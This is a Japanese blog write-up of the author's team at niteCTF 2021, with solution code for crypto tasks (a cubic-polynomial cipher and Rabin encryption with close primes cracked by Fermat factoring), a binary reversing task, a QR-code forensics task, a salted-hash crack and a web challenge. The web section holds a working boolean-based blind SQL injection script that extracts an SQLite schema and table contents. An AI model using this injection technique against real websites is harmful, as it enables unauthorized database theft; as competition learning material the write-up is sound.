2021年12月10日~12日で開催されたniteCTFにりゅうせいさんと一緒に参加しました。
結果は1797ptsで、61stでした。
僕が担当したコードはGitHubにおいておきます。
可読性は皆無なので、何やってるのかわからないところは気軽に訪ねてください。
flag形式はnite{XXXXXXXX}です。
Crypto
Variablezz (100pts)
enc.pyという名前で以下のコードが渡されます。また、flagがencodeされた結果がciphertext.txtに書かれています。
import random
flag = 'nite{XXXXXXXXXXXXXXXXXXXXXXXX}'
a = random.randint(1,9999999999)
b = random.randint(1,9999999999)
c = random.randint(1,9999999999)
d = random.randint(1,9999999999)
enc = []
for x in flag:
res = (a*pow(ord(x),3)+b*pow(ord(x),2)+c*ord(x)+d)
enc.append(res)
print(enc)
Ciphertext = [8194393930139798, 7130326565974613, 9604891888210928, 6348662706560873, 11444688343062563, 7335285885849258, 3791814454530873, 926264016764633, 9604891888210928, 5286663580435343, 5801472714696338, 875157765441840, 926264016764633, 2406927753242613, 5980222734708251, 5286663580435343, 2822500611304865, 5626320567751485, 3660106045179536, 2309834531980460, 12010406743573553]
flagを1文字ずつ数値に変換して、a*pow(ord(x),3)+b*pow(ord(x),2)+c*ord(x)+dという加工を施します。$a$,$b$,$c$,$d$がrandomなので、どうにかしてこれを知りたいです。
flag formatがnite{XXXXXXXXXXXXXXXXXXXXXXXX}ですので、Ciphertextの最初の4つはniteをencodeしたもののはずです。これをあてはめると
1331000*a + 12100*b + 110*c + d = 8194393930139798\\
1157625*a + 11025*b + 105*c + d = 7130326565974613\\
1560896*a + 13456*b + 116*c + d = 9604891888210928\\
1030301*a + 10201*b + 101*c + d = 6348662706560873\\
と、未知数４つに式4本が立つので、$a$,$b$,$c$,$d$が求まります。
あとは、5文字目以降を総当たりで求めていくだけです。
全体コードは
import numpy as np
from scipy import linalg
import sympy as sp
Ciphertext = [8194393930139798, 7130326565974613, 9604891888210928, 6348662706560873, 11444688343062563, 7335285885849258, 3791814454530873, 926264016764633, 9604891888210928, 5286663580435343, 5801472714696338, 875157765441840, 926264016764633, 2406927753242613, 5980222734708251, 5286663580435343, 2822500611304865, 5626320567751485, 3660106045179536, 2309834531980460, 12010406743573553]
sp.var("a,b,c,d")
eqs = []
for i,x in zip(Ciphertext,"nite"):
eqs.append(sp.Eq(a*pow(ord(x),3)+b*pow(ord(x),2)+c*ord(x)+d, i))
s = sp.solve(eqs, [a,b,c,d])
sp.init_printing()
a, b, c, d = s[a], s[b], s[c], s[d]
print(a,b,c,d)
for i, x in enumerate("nite"):
assert (a*pow(ord(x),3)+b*pow(ord(x),2)+c*ord(x)+d)==Ciphertext[i]
for i in Ciphertext:
for x in range(256):
if i == a*pow(x,3)+b*pow(x,2)+c*x+d:
print(chr(x), end="")
print()
flagはnite{jU5t_b45Ic_MaTH}
Rabin To The Rescure (371pts)
私が解いたのは$n$を求めて素因数分解するところまで。その先はりゅうせいさんがやってくれました。
RSA暗号らしき暗号化のプログラムが渡されます。(後から教えてもらったのですが、この暗号はrabin暗号と言うそうです)
from Crypto.Util.number import *
from sympy import *
import random
def mixer(num):
while(num>1):
if(int(num) & 1):
num=3*num+1
else:
num=num/2
return num
def gen_sexy_primes():
p=getPrime(256)
q=p+6
while((p%4!=3)or(q%4!=3)):
p=getPrime(256)
q=nextprime(p+1)
return p, q
p, q=gen_sexy_primes()
n=p*q
def encrypt(m, e, n):
return pow(m, e, n)
e=int(mixer(q-p))*2
print("________________________________________________________________________________________________")
print("\n\n")
print("-----------------------------------")
print("-----------------------------------")
print("-----------------------------------")
print(" /\\")
print(" __/__\\__")
print(" \\/ \\/")
print(" /\\____/\\")
print(" ``\\ /`` ")
print(" \\/")
print("-----------------------------------")
print("-----------------------------------")
print("-----------------------------------")
print("\n\n")
print("Welcome to the Encryption challenge!!!!")
print("\n")
print("Menu:")
print("=> [E]ncrypt your message")
print("=> [G]et Flag")
print("=> E[x]it")
print("________________________________________________________________________________________________")
while(true):
choice=input(">>")
if choice.upper()=='E':
print("Enter message in hex:")
try:
m=bytes_to_long(bytes.fromhex(input()))
except:
print("Wrong format")
exit(0)
ciphertext=encrypt(m,e,n)
print("Your Ciphertext is: ")
print(hex(ciphertext)[2:])
elif choice.upper()=='G':
print("Your encrypted flag is:")
with open('flag.txt','rb') as f:
flag=bytes_to_long(f.read())
t=random.randint(2, 2*5)
for i in range(t):
ciphertext=encrypt(flag,e,n)
print(hex(ciphertext)[2:])
elif choice.upper()=='X':
print("Exiting...")
break
else:
print("Please enter 'E','G' or 'X'")
暗号化のパートでは、
def encrypt(m, e, n):
return pow(m, e, n)
# 中略
print("Your encrypted flag is:")
with open('flag.txt','rb') as f:
flag=bytes_to_long(f.read())
t=random.randint(2, 2*5)
for i in range(t):
ciphertext=encrypt(flag,e,n)
print(hex(ciphertext)[2:])
という処理がなされています。まずは$e$と$n$が知りたいです。
$e$の生成は
def mixer(num):
while(num>1):
if(int(num) & 1):
num=3*num+1
else:
num=num/2
return num
# 中略
e=int(mixer(q-p))*2
となっています。複雑そうに見えますが、よく見るとmixer(num)はnumに関わらず1になることがわかります。
したがって、$e=2$です。
次に$n$の生成法を見ると、
def gen_sexy_primes():
p=getPrime(256)
q=p+6
while((p%4!=3)or(q%4!=3)):
p=getPrime(256)
q=nextprime(p+1)
return p, q
p, q=gen_sexy_primes()
n=p*q
という方法で生成されています。$p$と$q$が近い値になるので、$n$がわかればfermat法で素因数分解ができそうです。
さて、このプログラムは、任意の入力を$n$と$e(=2)$で暗号化してくれる機能が備わっています。具体的には、入力$m$に対して $m^2 \ mod\ n$ を返してくれます。
print("Enter message in hex:")
try:
m=bytes_to_long(bytes.fromhex(input()))
except:
print("Wrong format")
exit(0)
ciphertext=encrypt(m,e,n)
print("Your Ciphertext is: ")
print(hex(ciphertext)[2:])
さて、$n$ はそこそこ大きい数です。$m$ が小さいときには $m^2$ もそこそこ小さくなるので、$mod\ n$を取るといっても変化がないハズです。たとえば、$m=2$なら$4$が、$m=6$なら$36$が返ってきます。一方で、$m^2$が十分大きければ$n$で割ったあまりが返ってくるため入力値の2乗と返り値は等しくならないはずです。この限界として、$m$を入力すると$m^2$が返ってくるが、$m+1$を入力しても$(m+1)^2$が返ってこないような$m$を探します。このとき、$(m+1)^2$と返り値の差が$n$です。
import math
def egcd(a, b):
x,y, u,v = 0,1, 1,0
while a != 0:
q, r = b//a, b%a
m, n = x-u*q, y-v*q
b,a, x,y, u,v = a,r, u,v, m,n
gcd = b
return gcd, x, y
def decrypt(p, q, e, ct):
n = p * q
phi = (p - 1) * (q - 1)
gcd, a, b = egcd(e, phi)
d = a
pt = pow(ct, d, n)
return hex(pt)[2:-1].decode("hex")
def isqrt(n):
x = n
y = (x + n // x) // 2
while y < x:
x = y
y = (x + n // x) // 2
return x
def fermat(n):
x = isqrt(n) + 1
y = isqrt(x * x - n)
while True:
w = x * x - n - y * y
if w == 0:
break
elif w > 0:
y += 1
else:
x += 1
return x+y, x-y
from pwn import *
from Crypto.Util.number import *
from fermat import fermat
from sympy.ntheory.modular import crt
io = remote("rabin.challenge.cryptonite.team", 1337)
for i in range(28):#banner
io.recvline()
io.sendline(b"G")
io.recvline()
encrypted = io.recvline().decode().strip()
print(encrypted)
m = 2**250
M = 2**270
def check(x):
io.sendline(b"E")
io.recvline()
io.sendline(bytes.hex(long_to_bytes(x)))
io.recvline()
square = io.recvline()
square = int(square, 16)
return square
assert check(m) == m**2
assert check(M) != M**2
while M-m>1:
mid = (M+m)//2
if check(mid)==mid**2:
m = mid
else:
M = mid
print(M-m)
assert check(m)==m**2
assert check(M)!=M**2
n = M**2 - check(M)
print(n)
p, q = fermat(n)
print("p =", p)
print("q =", q)
c = int(encrypted, 16)
print("c =", c)
fermat関数を提供してくれたのはりゅうせいさんで、このあと$p$と$q$と$c$からflagを復元してくれたのもりゅうせいさんです。詳しく聞いていないですが、https://github.com/VladislavChepusov/Rabin-s-cryptosystem/blob/master/Rabin/Rabin/Rabin.py とかを使ったらしいです。
rev
baby reversing (100pts)
与えられたbinaryファイルをghidraに叩き込みます。
main関数の中を見ていると、
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string
((char *)local_d8,(allocator *)"b@by_R3v");
という表記が見つかったので、b@by_R3vがpasswordっぽいとbinaryに入力します。するとhahaha this password is only HALF right, have fun finding the other half!と出力されました。とすると、残り半分もどこかに書かれているだろうとmain関数を引き続き見ていくと
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string
((char *)local_178,(allocator *)"r3@l_");
という表記を見つけました。これっぽい。
ということで、binaryにr3@l_b@by_R3vと入力するとflagが表示されます。
flagはnite{baby_r3v_champ}
Forensics
Qurious Case (356pts)
画像ファイルが渡されます。渡された画像はパット見真っ黒ですが、よく見るとbitが0のところと1のところがあります。見えやすくすると、一部が欠けたQRコードが出現します。
どんなに頑張ってもQRコードリーダーは読み取ってくれなかったので、仕方ないので、Wikipedia等を参考に人力でQRコードを読みます。幸いmetadataは全部残っているのでなんとかなりました。もう2度とやりたくないけど。
flagはnite{tH@T'$_qRazzYyYy}
Misc
Hashes Hashes we all fall down (356pts)
Hash化されたpwを複合する問題です。saltとしてsaltという文字列を使用し、pwとしてbee movieに登場するセリフを使用したと問題文に書かれています。Googleで検索した所、http://www.script-o-rama.com/movie_scripts/a1/bee-movie-script-transcript-seinfeld.html にセリフがすべて書かれていたので、記載されたセリフを総当りで探索します。
import hashlib
import requests
from bs4 import BeautifulSoup
import re
from tqdm.auto import tqdm
hash_ = "12f3b9faec781b0e84184a6fa7c44c81416e5b1855633a2a2730295324724efe"
url = "http://www.script-o-rama.com/movie_scripts/a1/bee-movie-script-transcript-seinfeld.html"
page = requests.get(url)
soup = BeautifulSoup(page.content)
text = soup.find("pre").text
text = text.replace("\n", " ")
text = re.sub("\s+", " ", text)
for word in tqdm(text.split(" ")):
pw = "salt"+word
if hashlib.sha256(pw.encode()).hexdigest() == hash_:
print(word)
flagはniteCTF{Oinnabon}
Web
BATCHEST (244pts)
blind SQL問題です。昔俺も出題したことあったな...
502エラーが出たり、サーバーのレスポンスがアホみたいに遅かったりと問題と関係ないところで色々面倒くさかったです。
import requests
from tqdm.auto import tqdm
import string
url = 'https://blindsqli-web.chall.cryptonite.team/'
def _execAnyQuery_core(q, pos, mid):
"""
queryの実行結果のpos文字目がmidかどうかを判定する。
"""
query = "lion' and substr(({0}),{1},1)=char({2}) ; -- ".format(q, pos, mid)
data = {
'query': query.replace(" ", "\t"),
'sub': 'SUBMIT'
}
while True:
page = requests.post(url, data=data)
if page.status_code==500:
print("Warning ! Error 500")
if page.status_code==200:
return "Hell yeah" in page.text
def _execAnyQuery(query, pos):
for c in string.printable:
if _execAnyQuery_core(query, pos, ord(c)):
return ord(c)
return 0
def execAnyQuery(query):
i = 1
while True:
char = int(_execAnyQuery(query, i))
if char==0:
return
print(chr(char), end="")
i += 1
execAnyQuery("select 'abc'")
# >> abc
blind SQLiでDBから情報を抜き出します。
SELECT 1 from SQLITE_MASTERを実行すると1が返ってくるので、裏で走っているのはSQLITEです。
SELECT sql from SQLITE_MASTER limit 1 offset 0, SELECT sql from SQLITE_MASTER limit 1 offset 1 ...と走らせていくことで、
CREATE TABLE "Flag_tbl" (
"flag_cln" TEXT NOT NULL UNIQUE,
PRIMARY KEY("flag_cln")
)
というテーブルがあることがわかりました。
あとは、"SELECT flag_cln from Flag_tbl limit 1 offset 0を実行してflagを取り出します。
flagはnite{THIS_IS_WORKING}
あとがき
SecHack365の2020年度トレーニー向けのDiscordでりゅうせいさんが1人で解いているのを見て、飛び込みで急遽参加しました。
最近鬱々とした出来事しかなかった中で久しぶりに楽しい時間を過ごしました。りゅうせいさん、そして運営の皆さん本当にありがとうございます。
ところでお前SECCONは? TaskCTFは? 修論は??